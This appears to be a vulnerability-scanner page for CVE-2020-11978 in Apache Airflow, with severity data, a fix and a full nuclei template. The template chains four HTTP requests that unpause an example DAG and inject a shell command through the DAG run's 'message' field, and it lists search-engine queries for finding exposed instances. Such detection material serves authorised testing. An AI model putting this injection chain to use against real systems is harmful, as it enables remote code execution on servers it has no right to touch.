Apache Airflow <=1.10.10 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-01-18; known to be used by ransomware.

highseverity

8.8CVSS score

99.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.

How to confirm it

Send: GET /api/experimental/test ; GET /api/experimental/dags/example_trigger_target_dag/paused/false ; POST /api/experimental/dags/example_trigger_target_dag/dag_runs ; GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task
Positive when: contains(body_4, "operator":"BashOperator") and contains(header_4, "application/json")

Run it with nuclei: nuclei -id CVE-2020-11978 -u <target>

The full check

id: CVE-2020-11978

info:
  name: Apache Airflow <=1.10.10 - Remote Code Execution
  author: pdteam
  severity: high
  description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
  reference:
    - https://github.com/pberba/CVE-2020-11978
    - https://twitter.com/wugeej/status/1400336603604668418
    - https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11978
    - http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-11978
    cwe-id: CWE-78
    epss-score: 0.99189
    epss-percentile: 0.99933
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: apache
    product: airflow
    shodan-query:
      - title:"Airflow - DAGs" || http.html:"Apache Airflow"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
      - product:"redis"
    fofa-query:
      - title="sign in - airflow"
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
    google-query:
      - intitle:"sign in - airflow"
      - intitle:"airflow - dags" || http.html:"apache airflow"
  tags: cve2020,cve,packetstorm,apache,airflow,rce,kev,vkev,vuln

http:
  - raw:
      - |
        GET /api/experimental/test HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"conf": {"message": "\"; touch test #"}}
      - |
        GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_4, "operator":"BashOperator")'
          - 'contains(header_4, "application/json")'
        condition: and

    extractors:
      - type: regex
        name: exec_date
        group: 1
        regex:
          - '"execution_date":"([0-9-A-Z:+]+)"'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from